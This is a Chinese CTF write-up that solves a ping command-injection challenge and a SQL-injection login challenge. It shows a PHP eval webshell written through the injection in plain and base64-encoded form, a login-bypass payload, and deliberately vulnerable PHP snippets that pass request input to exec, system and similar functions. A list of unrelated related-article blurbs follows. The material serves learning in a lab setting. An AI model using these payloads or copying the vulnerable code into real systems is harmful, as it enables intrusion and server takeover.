[ACTF2020] 新生赛]Exec1

目录

0x01命令执行

[ACTF2020 新生赛]Exec1

1、解法1

2、解法2

3、总结

3.1php命令注入函数

3.2java命令注入函数

3.3常见管道符

0x02SQL注入

[极客大挑战 2019]EasySQL1


0x01命令执行

[ACTF2020 新生赛]Exec1

a18da2566d2f8216f6e7d14c87c2048c.png

86708cfb3b472b4fedbe90dc95b55154.png

1、解法1

ping本地,有回显,TTL=42,应该是修改过的,无法根据此判断系统类型。

分别尝试window和Linux系统命令,判断类型。

5db0dc87ad82102aaa95c674f18bcfc7.png

查看本级目录

1430bc6d1edc658702706e7411b2fa5e.png

遍历目录,查看上级目录

eb3fab2d336afcf03150a7565e6a32e1.png

查看上上级目录

7de50cd6c4fb29d62b01da25394d5514.png

查看上上上级目录(到顶了),发现flag文件名

439854ae751994986a284146bec4a788.png

读它

8bae1b825b03501c93a4523e7ff91780.png

2、解法2

写入webshell,用蚁剑连接

 直接写入echo '<?php eval($_POST[1]); ?>' > 1.php​base64编码写入echo "PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==" | base64 -d >2.php

写入

6362a75126a3a3c04bacf669bb388f4d.png

验证

f7a95dc61d2d78ce3433947f81263b44.png

连接

f703673ed530659a010cbfbfe6891cdf.png

a891d0d3e304849628c29029cf7b3e92.png

4c9e181ab87362128c0c81cf849d1a45.png

3、总结

3.1php命令注入函数

 exec() 、shell_exec() 、system() 、popen() 、 passthru() 、 proc_open() 、反引号`` 

exec:该函数无回显需使用 echo 进行输出,且只返回执行后的最后一行结果

 <?php$sys = $_REQUEST['value'];$cmd = exec($sys);echo $cmd;?>

shell_exec():无回显需使用 echo 或者 var_dump 进行输出,但返回结果所有内容

 <?php$sys = $_REQUEST['value'];$cmd = shell_exec($sys);var_dump( $cmd);?>

反引号`` :反引号其实调用的是shell_exec()函数,当反引号中的变量可控时就会造成命令执行,且无回显。

 <?php$sys = $_REQUEST['value'];$cmd = `$sys`;echo $cmd;?>

system():有回显且返回所有内容。最常见的命令执行方式。如果目标是LInux则执行 Bash 命令,如果是Windows则执行 cmd 命令。

 //简单例子<?php$sys = $_REQUEST['value'];$cmd = system($sys);?>

在ACTF2020新生赛Exec1该题中,后端逻辑为:

 <?php if (isset($_POST['target'])) {system("ping -c 3 ".$_POST['target']);}?>

popen(comnand,mode):该函数通常用于打开进程文件指针,但如果传入的参数可控也可造成命令执行,且该函数无回显,通过echo 不回直接返回执行的结果,而是返回的是文件指针。

 <?php$sys = $_REQUEST['value'];$cmd = popen($sys,'r');var_dump($cmd); ;?>

passthru():与 system() 类似,也可将输入的参数当做命令执行,且函数执行后有回显。

<?php
$sys = $_REQUEST['value'];
$cmd = passthru($sys);
?>

proc_open():执行一个命令,并且打开用来输入/输出的文件指针。 类似 popen() 函数,

 

3.2java命令注入函数

java.lang.Runtime、
ava.lang.ProcessBuilder、
java.lang.UNIXProcess/ProcessImpl

 

3.3常见管道符

windows

| 直接执行后面的语句
|| 如果前面执行的语句出错,那么才执行后面的语句
& 前面和后面的语句都会被执行
&& 前面语句出错后面的语句也不执行,只有前面的语句成功执行才执行后面的语句

linux

| 直接执行后面的语句
|| 如果前面执行的语句出错,那么才执行后面的语句
& 前面和后面的语句都会被执行
&& 前面语句出错后面的语句也不执行,只有前面的语句成功执行才执行后面的语句
; 前面的语句执行完成后,继续执行后面的语句。(特有)

 

 

0x02SQL注入

[极客大挑战 2019]EasySQL1

a8b648a89d0f66c166edd6faea056a78.png

c2e75b5a3e61c9e296f53ec29690eebd.png

发现是登录界面,根据题目描述的提示,判断是SQL注入

随意输入用户名和密码,用hackbar LoadURL

a71eb4c72f25c7bf741c12a8f93e7978.png

构造payload查看错误提示

/check.php?username=admin'aa--&password=1111
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'aa--' and password='1111'' at line 1

a7297c20c3cea47f9318324398150b47.png

根据提示可以分析出的信息有:

1、数据库:MariaDB
2、SQL后端逻辑:username='$username' and password='$password'

既然是登录框,那肯定是要登录上去看看的

/check.php?username=admin' or 1=1 --+&password='--+

e0153819382af8facaa6593a88378c32.png

发现flag

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/56408.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

红队-安全见闻篇(上)

声明 学习视频来自B站UP主 泷羽sec的个人空间-泷羽sec个人主页-哔哩哔哩视频,如涉及侵权马上删除文章 笔记的只是方便各位师傅学习知识,以下网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负 一.编程与开发 1.后端语言学习 C语⾔&#xff1a;⼀种通⽤的…

Pytest-Bdd-Playwright 系列教程(1):从零开始教你写自动化测试框架「喂饭教程」

Pytest-Bdd-Playwright 系列教程&#xff08;1&#xff09;&#xff1a;从零开始教你写自动化测试框架「喂饭教程」 前言一、项目结构二、安装依赖三、BDD特性文件四、页面对象五、步骤定义六、测试脚本七、Pytest配置八、运行测试 前言 最近收到一些小伙伴在后台的留言&#x…

生成式AI时代的内容安全与系统构建:合合信息文档图像篡改检测创新方案

目录 一、生成式AI时代的内容安全与图像识别1.图像内容安全的重要性2.伪造文档与证件检测的应用场景3.人脸伪造检测技术 二、系统构建加速与文档解析1.TextIn文档解析平台2.TextIn文档解析输出的示例 三、合合信息的行业影响力总结 一、生成式AI时代的内容安全与图像识别 随着…

python-----函数详解(一)

一、概念及作用&#xff1a; 概念&#xff1a;由若干条语句组成语句块&#xff0c;其中包括函数名称、参数列表&#xff0c;它是组织代码的最小单元&#xff0c;完成一定的功能 作用&#xff1a;把一个代码封装成一个函数&#xff0c;一般按功能组织一段代码 目的就是为了重…

autMan奥特曼机器人-安装或更新golang依赖

autMan2.3.4及以上需要更新中间件或安装golang依赖&#xff0c;参照下列步骤&#xff1a; 一、直装版本 ssh下进入autMan文件夹下plugin/scripts下面输入以下指令&#xff1a; go get -u github.com/hdbjlizhe/middleware二、docker版本 从后台进入web终端&#xff0c;依次输入…

速盾:高防cdn的好处体现在什么地方?

随着互联网的迅猛发展&#xff0c;网络安全问题也日益受到关注。为了保护网站免受恶意攻击和DDoS攻击的影响&#xff0c;许多网站选择使用高防CDN&#xff08;Content Delivery Network&#xff09;服务。高防CDN的好处体现在以下几个方面。 首先&#xff0c;高防CDN可以有效防…

Ubuntu 上安装 Redmine 5.1 指南

文章目录 官网安装文档&#xff1a;命令步骤相关介绍GemRubyRailsBundler 安装 Redmine更新系统包列表和软件包&#xff1a;安装必要的依赖&#xff1a;安装 Ruby&#xff1a;安装 bundler下载 Redmine 源代码&#xff1a;安装 MySQL配置 Redmine 的数据库配置文件&#xff1a;…

Hudi 核心知识点详解

‌数据写入‌&#xff1a; ‌近实时写入‌&#xff1a;Hudi支持近实时写入&#xff0c;可以减少碎片化工具的使用&#xff0c;并通过CDC&#xff08;Change Data Capture&#xff09;增量导入RDBMS数据。此外&#xff0c;Hudi还限制小文件的大小和数量&#xff0c;优化存储效率…

Java开发者的成长轨迹:从入门到权威的二十年征程

在Java开发的漫长征途中&#xff0c;流传着一句耳熟能详的话&#xff1a;“三年入门&#xff0c;五年入行&#xff0c;十年精英&#xff0c;十五年专家&#xff0c;二十年权威”。这句话不仅是对Java开发者职业生涯的高度概括&#xff0c;更是对技术成长路径的一种深刻洞察。它…

Node.js:深入探秘 CommonJS 模块化的奥秘

在Node.js出现之前&#xff0c;服务端JavaScript基本上处于一片荒芜的境况&#xff0c;而当时也没有出现ES6的模块化规范。因此&#xff0c;Node.js采用了当时比较先进的一种模块化规范来实现服务端JavaScript的模块化机制&#xff0c;它就是CommonJS&#xff0c;有时也简称为C…

2024ideaUI切换和svn与git的切换,svn的安装和配置,idea集成svn ,2024-10-18日

2024-10-18日 2024的UI实在很不舒服&#xff0c;隐藏了很多按键&#xff1b; 第一步&#xff1a; 视图 -》 外观 -》 工具栏选出来&#xff1b; 结果出来&#xff1a; 运行的按键和设置的按钮 第二步 点击设置的按钮&#xff0c;选择最后一个&#xff0c;重启就行 结果 舒服&…

前端-基础CSS总结常用

1.书写位置:title 标签下方添加 style 双标签,style 标签里面书写 CSS 代码。 <title>CSS 初体验</title> <style>/* 选择器 { } */p {/* CSS 属性 */color: red;} </style><p>体验 CSS</p> <link rel="stylesheet" href=…

论文阅读(二十四):SA-Net: Shuffle Attention for Deep Convolutional Neural Networks

文章目录 Abstract1.Introduction2.Shuffle Attention3.Code 论文&#xff1a;SA-Net&#xff1a;Shuffle Attention for Deep Convolutional Neural Networks(SA-Net&#xff1a;置换注意力机制)   论文链接&#xff1a;SA-Net&#xff1a;Shuffle Attention for Deep Convo…

【NodeJS】NodeJS+mongoDB在线版开发简单RestfulAPI (二):项目文件夹架构及路由的设置

本项目旨在学习如何快速使用 nodejs 开发后端api&#xff0c;并为以后开展其他项目的开启提供简易的后端模版。&#xff08;非后端工程师&#xff09; 由于文档是代码写完之后&#xff0c;为了记录项目中需要注意的技术点&#xff0c;因此文档的叙述方式并非开发顺序&#xff0…

九州未来亓绚亮相丽台Solution Day 2024,共建AI赋能教育新时代

在数字化浪潮席卷全球的当下&#xff0c;生成式人工智能正迅速渗透至数字世界的每一个角落&#xff0c;而AI技术的物理化应用也正成为新的趋势。10月22日&#xff0c;丽台解决方案日Solution Day 2024&#xff1a;物理AI推动行业数字变革在上海绿地外滩中心顺利举行。 大会聚焦…

SpringBoot项目整合Mybatis-MySql数据库编程

1.Mybatis-MySql 话不多说-直接上代码&#xff01; 1. 数据库编程的依赖 <!-- Mybatis整合Spring Boot的依赖项 --> <dependency><groupId>org.mybatis.spring.boot</groupId><artifactId>mybatis-spring-boot-starter</artifactId><…

报表工具怎么选?山海鲸VS帆软,哪个更适合你?

概述 在国产报表软件市场中&#xff0c;山海鲸报表和帆软这两款工具都占有一席之地&#xff0c;许多企业在选择报表工具时常常在它们之间徘徊。然而&#xff0c;随着企业对数据分析需求的不断增长和复杂化&#xff0c;如何选取一款高效、易用且性价比高的报表工具&#xff0c;…

HTML、CSS 和 JavaScript 的介绍

HTML、CSS 和 JavaScript 是网页设计的核心技术组合,以下是关于它们在网页设计中的介绍: 一、HTML(超文本标记语言) 结构基础 HTML 负责构建网页的结构和内容。它使用各种标签来定义网页的不同部分,如 <html>、<head>、<body> 等。例如,<h1> 到…

“摄像机”跟随及攻击抖动实现

学习Unity的摄像机功能&#xff0c;可以帮助我们实现摄像机对人物的跟随移动&#xff0c;还可以使用这个工具自带的插件&#xff0c;摄像机震动&#xff0c;颤动&#xff0c;增强打击感&#xff1b; 首先来安装一下这个插件&#xff0c;window菜单--packageManage--左上角Unit…

vcpkg 从清单文件安装依赖项

vcpkg 有两种运行模式&#xff1a;经典模式和清单模式。清单文件有自己的 vcpkg_installed 目录&#xff0c;可在其中安装依赖项&#xff0c;与所有包都安装在通用 %VCPKG_ROOT%/installed 目录中的经典模式不同。 因此&#xff0c;每个项目都可以有自己的清单和自己的一组依赖…